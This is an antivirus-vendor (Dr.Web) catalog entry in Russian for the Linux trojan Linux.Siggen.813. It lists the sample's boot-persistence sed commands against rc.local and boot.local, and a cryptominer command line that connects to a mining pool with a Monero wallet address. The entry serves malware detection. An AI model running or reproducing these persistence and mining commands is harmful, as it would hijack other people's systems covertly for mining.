Linux.Siggen.813

Linux.Siggen.813

Добавлен в вирусную базу Dr.Web: 2018-07-28

Описание добавлено: 2018-07-28

Для обеспечения автоматического запуска и распространения:

Создает или модифицирует следующие файлы:

Вредоносные функции:

Запускает себя в качестве демона

Запускает процессы:

sh -c sed -i -e '/exit/d' /etc/rc.local
sed -i -e /exit/d /etc/rc.local
sh -c sed -i -e '/
sed -i -e /
sh -c sed -i -e '/<SAMPLE> reboot/d' /etc/rc.local
sed -i -e /<SAMPLE> reboot/d /etc/rc.local
sh -c sed -i -e '2 i//<SAMPLE> reboot' /etc/rc.local
sed -i -e 2 i//<SAMPLE> reboot /etc/rc.local
sh -c sed -i -e '2 i//<SAMPLE> reboot start' /etc/rc.d/rc.local
sed -i -e 2 i//<SAMPLE> reboot start /etc/rc.d/rc.local
sh -c sed -i -e '2 i//<SAMPLE> reboot start' /etc/init.d/boot.local
sed -i -e 2 i//<SAMPLE> reboot start /etc/init.d/boot.local
sh -c ./tmp/issass -B -o stratum+tcp://monerohash.com:2222 -u 4DSQMNzzq46N1z2pZWAVdeA6JvUL9TCB2bnBiA3ZzoqEdYJnMydt5akCa3vtmapeDsbVKGPFdNkzqTcJS8M8oyK7WGitG9tVN31DykJEa4 -p x -k
./tmp/issass -B -o stratum+tcp://monerohash.com:2222 -u 4DSQMNzzq46N1z2pZWAVdeA6JvUL9TCB2bnBiA3ZzoqEdYJnMydt5akCa3vtmapeDsbVKGPFdNkzqTcJS8M8oyK7WGitG9tVN31DykJEa4 -p x -k
sh -c ps -ef|grep issass
ps -ef
grep issass

Завершает следующие процессы:

Выполняет операции с файловой системой:

Модифицирует права доступа к файлам:

Создает или модифицирует файлы:

Удаляет файлы:

Сетевая активность:

Устанавливает соединение:

DNS ASK:

Посылает данные следующим серверам:

Получает данные от следующих серверов:

Прочее:

Собирает информацию о CPU

Собирает информацию об оперативной памяти

Собирает информацию о сетевой активности